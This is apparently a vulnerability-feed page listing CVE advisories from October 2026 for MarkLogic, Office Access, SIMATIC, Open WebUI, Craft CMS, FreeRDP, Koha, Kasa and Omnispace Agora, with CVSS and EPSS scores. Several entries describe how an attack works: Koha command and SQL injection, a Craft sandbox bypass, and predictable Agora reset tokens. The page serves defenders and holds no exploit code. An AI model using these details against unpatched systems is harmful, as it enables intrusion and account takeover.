https://kevwire.com/record/CVE-2026-85974
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections. A network-positioned attacker could exploit this weakness to intercept or modify communications with an affected service.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85974).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85974&date=2026-10-25).
Sources:
NVD CVE-2026-85974: https://nvd.nist.gov/vuln/detail/CVE-2026-85974
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85974&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections. A network-positioned attacker could exploit this weakness to intercept or modify communications with an affected service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102849
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102849).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102849&date=2026-10-25).
Sources:
NVD CVE-2026-102849: https://nvd.nist.gov/vuln/detail/CVE-2026-102849
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102849&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102850
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102850).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102850&date=2026-10-25).
Sources:
NVD CVE-2026-102850: https://nvd.nist.gov/vuln/detail/CVE-2026-102850
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102850&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO /...
https://kevwire.com/record/CVE-2026-72895
A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO /... (Oct 13, 2026).
A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO / IPC327G / IPC377G (All versions < V28.01.15). A BIOS vendor test key is present in the UEFI Secure Boot key database. This could allow a local attacker with physical or administrative access to the device to boot an operating system or UEFI application signed with that test key, bypassing UEFI Secure Boot protections even when Secure Boot is enabled, potentially leading to a full loss of confidentiality, integrity, and availability of the device.
CVSS 8.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72895).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72895&date=2026-10-25).
Sources:
NVD CVE-2026-72895: https://nvd.nist.gov/vuln/detail/CVE-2026-72895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72895&date=2026-10-25
A vulnerability has been identified in SIMATIC IPC BX-21A (All versions < V31.01.13), SIMATIC IPC RW-543A (All versions < V1.1.4), SIMATIC IPC227G / IPC277G / IPC277G PRO / IPC327G / IPC377G (All versions < V28.01.15). A BIOS vendor test key is present in the UEFI Secure Boot key database. This could allow a local attacker with physical or administrative access to the device to boot an operating system or UEFI application signed with that test key, bypassing UEFI Secure Boot protections even when Secure Boot is enabled, potentially leading to a full loss of confidentiality, integrity, and availability of the device.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105591
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105591).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105591&date=2026-10-25).
Sources:
NVD CVE-2026-105591: https://nvd.nist.gov/vuln/detail/CVE-2026-105591
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105591
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105591&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105592
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105592).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105592&date=2026-10-25).
Sources:
NVD CVE-2026-105592: https://nvd.nist.gov/vuln/detail/CVE-2026-105592
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105592
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105592&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105593
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105593).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105593&date=2026-10-25).
Sources:
NVD CVE-2026-105593: https://nvd.nist.gov/vuln/detail/CVE-2026-105593
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105593
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105593&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser...
https://kevwire.com/record/CVE-2026-109292
Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser... (Oct 12, 2026).
Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser cookie jar on OAuth-mode connections. Operators of OpenAI-compatible connections, OpenAPI tool servers or terminal servers can capture forwarded session cookies from routine requests and replay them to hijack accounts, including administrators.
CVSS 7.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109292).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109292&date=2026-10-25).
Sources:
NVD CVE-2026-109292: https://nvd.nist.gov/vuln/detail/CVE-2026-109292
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109292&date=2026-10-25
Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser cookie jar on OAuth-mode connections. Operators of OpenAI-compatible connections, OpenAPI tool servers or terminal servers can capture forwarded session cookies from routine requests and replay them to hijack accounts, including administrators.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the "has some" and "has every" operators.
https://kevwire.com/record/CVE-2026-109305
Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the "has some" and "has every" operators. (Oct 12, 2026).
Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the "has some" and "has every" operators. Users with the System Messages permission can supply two-argument callables such as passthru or system in sandboxed templates to execute code as the web user.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109305).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109305&date=2026-10-25).
Sources:
NVD CVE-2026-109305: https://nvd.nist.gov/vuln/detail/CVE-2026-109305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109305&date=2026-10-25
Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the "has some" and "has every" operators. Users with the System Messages permission can supply two-argument callables such as passthru or system in sandboxed templates to execute code as the web user.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11...
https://kevwire.com/record/CVE-2026-109250
FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11... (Oct 12, 2026).
FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11 key enumeration. Attackers controlling smartcard tokens can present more than 64 public key objects across multiple slots to corrupt heap memory with attacker-chosen CKA_ID and CKA_LABEL data during smartcard logon.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109250).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109250&date=2026-10-25).
Sources:
NVD CVE-2026-109250: https://nvd.nist.gov/vuln/detail/CVE-2026-109250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109250&date=2026-10-25
FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11 key enumeration. Attackers controlling smartcard tokens can present more than 64 public key objects across multiple slots to corrupt heap memory with attacker-chosen CKA_ID and CKA_LABEL data during smartcard logon.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video...
https://kevwire.com/record/CVE-2026-109938
Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video... (Oct 13, 2026).
Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109938).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109938&date=2026-10-25).
Sources:
NVD CVE-2026-109938: https://nvd.nist.gov/vuln/detail/CVE-2026-109938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109938&date=2026-10-25
Positive mapped-video coordinates overflow and abort FreeRDP clients A malicious or compromised RDP server can terminate a FreeRDP client after the user connects with video redirection enabled.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Koha is vulnerable to OS command injection in the Task Scheduler deletion path.
https://kevwire.com/record/CVE-2026-105106
Koha is vulnerable to OS command injection in the Task Scheduler deletion path. (Oct 14, 2026).
Koha is vulnerable to OS command injection in the Task Scheduler deletion path. The tools/scheduler.pl handler accepts the jobid request parameter for op=cud-delete and passes it to C4::Scheduler::remove_at_job without validating it. Schedule::At::remove substitutes the supplied job ID into an atrm command string without quoting or escaping it and executes the command through a single-argument system() call, which invokes the shell. An authenticated staff user with the tools => schedule_tasks permission can therefore execute arbitrary operating-system commands as the Koha web/application user by supplying shell metacharacters in jobid. The issue is fixed in Koha 24.11.20, 25.05.15, 25.11.09, and 26.05.04, and in the 26.11 development branch.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105106).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105106&date=2026-10-25).
Sources:
NVD CVE-2026-105106: https://nvd.nist.gov/vuln/detail/CVE-2026-105106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105106&date=2026-10-25
Koha is vulnerable to OS command injection in the Task Scheduler deletion path. The tools/scheduler.pl handler accepts the jobid request parameter for op=cud-delete and passes it to C4::Scheduler::remove_at_job without validating it. Schedule::At::remove substitutes the supplied job ID into an atrm command string without quoting or escaping it and executes the command through a single-argument system() call, which invokes the shell. An authenticated staff user with the tools => schedule_tasks permission can therefore execute arbitrary operating-system commands as the Koha web/application user by supplying shell metacharacters in jobid. The issue is fixed in Koha 24.11.20, 25.05.15, 25.11.09, and 26.05.04, and in the 26.11 development branch.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Koha is vulnerable to SQL injection in the Most-circulated items report.
https://kevwire.com/record/CVE-2026-105107
Koha is vulnerable to SQL injection in the Most-circulated items report. (Oct 14, 2026).
Koha is vulnerable to SQL injection in the Most-circulated items report. The reports/cat_issues_top.pl script (sub calculate) concatenates the user-controlled Criteria, Filter, and Limit request parameters directly into dynamic SQL. Criteria is only prefix-normalized and never validated against an allow-list, so it is inserted verbatim into identifier positions (SELECT DISTINCTROW, GROUP BY, ORDER BY, and the main calculation query). Filter values are concatenated raw into single-quoted LIKE, BETWEEN, and comparison fragments. Limit is appended raw to a LIMIT clause. An authenticated staff user with the reports module permission (not requiring superlibrarian) can inject arbitrary SQL and read any table reachable by the Koha database user, including borrowers (userid and bcrypt password hashes, two-factor secrets, personal data), api_keys, and sessions. The issue is fixed in Koha 24.11.19, 25.05.14, 25.11.08, and 26.05.03, and in the 26.11 development branch. This is the unpatched twin of reports/bor_issues_top.pl (CVE-2026-70372).
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105107).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105107&date=2026-10-25).
Sources:
NVD CVE-2026-105107: https://nvd.nist.gov/vuln/detail/CVE-2026-105107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105107&date=2026-10-25
Koha is vulnerable to SQL injection in the Most-circulated items report. The reports/cat_issues_top.pl script (sub calculate) concatenates the user-controlled Criteria, Filter, and Limit request parameters directly into dynamic SQL. Criteria is only prefix-normalized and never validated against an allow-list, so it is inserted verbatim into identifier positions (SELECT DISTINCTROW, GROUP BY, ORDER BY, and the main calculation query). Filter values are concatenated raw into single-quoted LIKE, BETWEEN, and comparison fragments. Limit is appended raw to a LIMIT clause. An authenticated staff user with the reports module permission (not requiring superlibrarian) can inject arbitrary SQL and read any table reachable by the Koha database user, including borrowers (userid and bcrypt password hashes, two-factor secrets, personal data), api_keys, and sessions. The issue is fixed in Koha 24.11.19, 25.05.14, 25.11.08, and 26.05.03, and in the 26.11 development branch. This is the unpatched twin of reports/bor_issues_top.pl (CVE-2026-70372).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple
Kasa devices contain an improper authentication vulnerability in the local
device-management protocol. An unauthenticated adjacent attacker may send
management...
https://kevwire.com/record/CVE-2026-108473
Multiple
Kasa devices contain an improper authentication vulnerability in the local
device-management protocol. An unauthenticated adjacent attacker may send
management... (Oct 14, 2026).
Multiple
Kasa devices contain an improper authentication vulnerability in the local
device-management protocol. An unauthenticated adjacent attacker may send
management instructions to an affected device without adequate authentication
or authorization, allowing modification of the device state or management
settings. Under certain usage conditions involving interaction between the
user, mobile application, and device-cloud service, insufficient protection of
account-related communications may also expose account information.









Successful
exploitation may allow an unauthenticated adjacent-network attacker to perform
unauthorized device-management actions and disrupt legitimate user control.
Under certain conditions, account-related information may also be exposed,
potentially leading to compromise of the associated cloud account.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108473).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108473&date=2026-10-25).
Sources:
NVD CVE-2026-108473: https://nvd.nist.gov/vuln/detail/CVE-2026-108473
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108473&date=2026-10-25
Multiple
Kasa devices contain an improper authentication vulnerability in the local
device-management protocol. An unauthenticated adjacent attacker may send
management instructions to an affected device without adequate authentication
or authorization, allowing modification of the device state or management
settings. Under certain usage conditions involving interaction between the
user, mobile application, and device-cloud service, insufficient protection of
account-related communications may also expose account information.









Successful
exploitation may allow an unauthenticated adjacent-network attacker to perform
unauthorized device-management actions and disrupt legitimate user control.
Under certain conditions, account-related information may also be exposed,
potentially leading to compromise of the associated cloud account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a...
https://kevwire.com/record/CVE-2026-63153
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a caller-supplied target space without verifying the caller has rights to that space. Attackers can assign access affectations to spaces outside their own reach, breaking tenant isolation and granting unauthorized access to restricted spaces.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63153).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63153&date=2026-10-25).
Sources:
NVD CVE-2026-63153: https://nvd.nist.gov/vuln/detail/CVE-2026-63153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63153&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in setAffectations() that allows authenticated attackers to insert access-right records for a caller-supplied target space without verifying the caller has rights to that space. Attackers can assign access affectations to spaces outside their own reach, breaking tenant isolation and granting unauthorized access to restricted spaces.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as...
https://kevwire.com/record/CVE-2026-63158
Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as that user without knowing the actual password, caused by the legacy AGORAP_LOG/AGORAP_PASS cookie mechanism treating the stored hash as a directly replayable bearer credential. Attackers can set the AGORAP_LOG/AGORAP_PASS cookies with a stolen password hash to impersonate any user, including administrators, and gain unauthorized access to the application.
CVSS 9.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63158).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63158&date=2026-10-25).
Sources:
NVD CVE-2026-63158: https://nvd.nist.gov/vuln/detail/CVE-2026-63158
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63158&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as that user without knowing the actual password, caused by the legacy AGORAP_LOG/AGORAP_PASS cookie mechanism treating the stored hash as a directly replayable bearer credential. Attackers can set the AGORAP_LOG/AGORAP_PASS cookies with a stolen password hash to impersonate any user, including administrators, and gain unauthorized access to the application.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the...
https://kevwire.com/record/CVE-2026-63159
Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the reset token as sha1(login.password), a deterministic and reusable value. Attackers can derive or brute-force the reset token from known or guessed login and password combinations to forge valid password-reset requests and hijack arbitrary accounts.
CVSS 9.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63159).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63159&date=2026-10-25).
Sources:
NVD CVE-2026-63159: https://nvd.nist.gov/vuln/detail/CVE-2026-63159
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63159&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the reset token as sha1(login.password), a deterministic and reusable value. Attackers can derive or brute-force the reset token from known or guessed login and password combinations to forge valid password-reset requests and hijack arbitrary accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying...
https://kevwire.com/record/CVE-2026-63162
Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying an unanchored tmpFolderName value in the upload destination path. Attackers can exploit this flaw, for example by setting tmpFolderName to a traversal sequence targeting the web root, to write attacker-controlled files and achieve remote code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63162).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63162&date=2026-10-25).
Sources:
NVD CVE-2026-63162: https://nvd.nist.gov/vuln/detail/CVE-2026-63162
